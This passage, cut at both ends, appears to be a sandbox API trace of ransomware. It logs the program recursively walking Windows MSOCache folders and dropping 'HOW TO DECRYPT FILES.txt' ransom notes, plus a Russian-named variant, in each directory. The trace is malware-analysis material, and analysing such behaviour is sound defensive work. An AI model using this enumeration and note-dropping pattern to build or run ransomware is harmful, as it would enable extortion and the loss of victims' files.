Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" [0057.706] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="" [0057.706] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt" [0057.706] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to decrypt files.txt")) returned 0xffffffff [0057.707] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0057.708] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.709] CloseHandle (hObject=0x8c) returned 1 [0057.709] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpString2="Proof.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" [0057.709] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x4fa8b8, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0057.709] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.msi") returned -1 [0057.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.msi") returned -1 [0057.709] lstrcmpiA (lpString1="", lpString2="Proof.msi") returned -1 [0057.709] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned="Proof.cab" [0057.709] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" [0057.709] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="" [0057.709] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt" [0057.709] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to decrypt files.txt")) returned 0x2020 [0057.710] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpString2="Proof.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" [0057.710] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0057.710] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.710] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.xml") returned -1 [0057.710] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.xml") returned -1 [0057.710] lstrcmpiA (lpString1="", lpString2="Proof.xml") returned -1 [0057.710] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned="Proof.msi" [0057.710] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" [0057.710] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="" [0057.710] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt" [0057.710] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to decrypt files.txt")) returned 0x2020 [0057.710] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpString2="Proof.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" [0057.710] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0057.710] FindClose (in: hFindFile=0x4f9578 | out: hFindFile=0x4f9578) returned 1 [0057.711] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0057.711] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.711] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proofing.msi") returned -1 [0057.711] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proofing.msi") returned -1 [0057.711] lstrcmpiA (lpString1="", lpString2="Proofing.msi") returned -1 [0057.711] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.711] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" [0057.711] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="" [0057.711] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.711] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.711] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.713] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.713] CloseHandle (hObject=0x88) returned 1 [0057.714] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="Proofing.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" [0057.714] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0057.714] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.714] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proofing.xml") returned -1 [0057.714] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proofing.xml") returned -1 [0057.714] lstrcmpiA (lpString1="", lpString2="Proofing.xml") returned -1 [0057.714] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned="Proofing.msi" [0057.714] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" [0057.714] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="" [0057.714] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.714] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.714] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="Proofing.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" [0057.714] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.714] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.714] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.714] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.715] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.715] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned="Proofing.xml" [0057.715] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" [0057.715] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="" [0057.715] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.715] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.715] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.715] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.715] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.715] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0057.715] lstrcmpA (lpString1=".", lpString2="{90140000-0043-0409-1000-0000000FF1CE}-C") returned -1 [0057.715] lstrcmpA (lpString1="..", lpString2="{90140000-0043-0409-1000-0000000FF1CE}-C") returned -1 [0057.715] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.715] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0043-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" [0057.715] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.719] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.719] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.719] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.719] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.719] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0057.719] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.719] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Office32MUI.msi") returned -1 [0057.719] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Office32MUI.msi") returned -1 [0057.719] lstrcmpiA (lpString1="", lpString2="Office32MUI.msi") returned -1 [0057.719] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.719] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0057.720] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="" [0057.720] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.720] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.720] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.721] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.721] CloseHandle (hObject=0x88) returned 1 [0057.722] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="Office32MUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" [0057.722] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0057.722] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Office32MUI.xml") returned -1 [0057.722] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Office32MUI.xml") returned -1 [0057.722] lstrcmpiA (lpString1="", lpString2="Office32MUI.xml") returned -1 [0057.722] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned="Office32MUI.msi" [0057.722] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0057.722] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="" [0057.722] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.722] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.723] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="Office32MUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned="C:\\MSOCache\\All 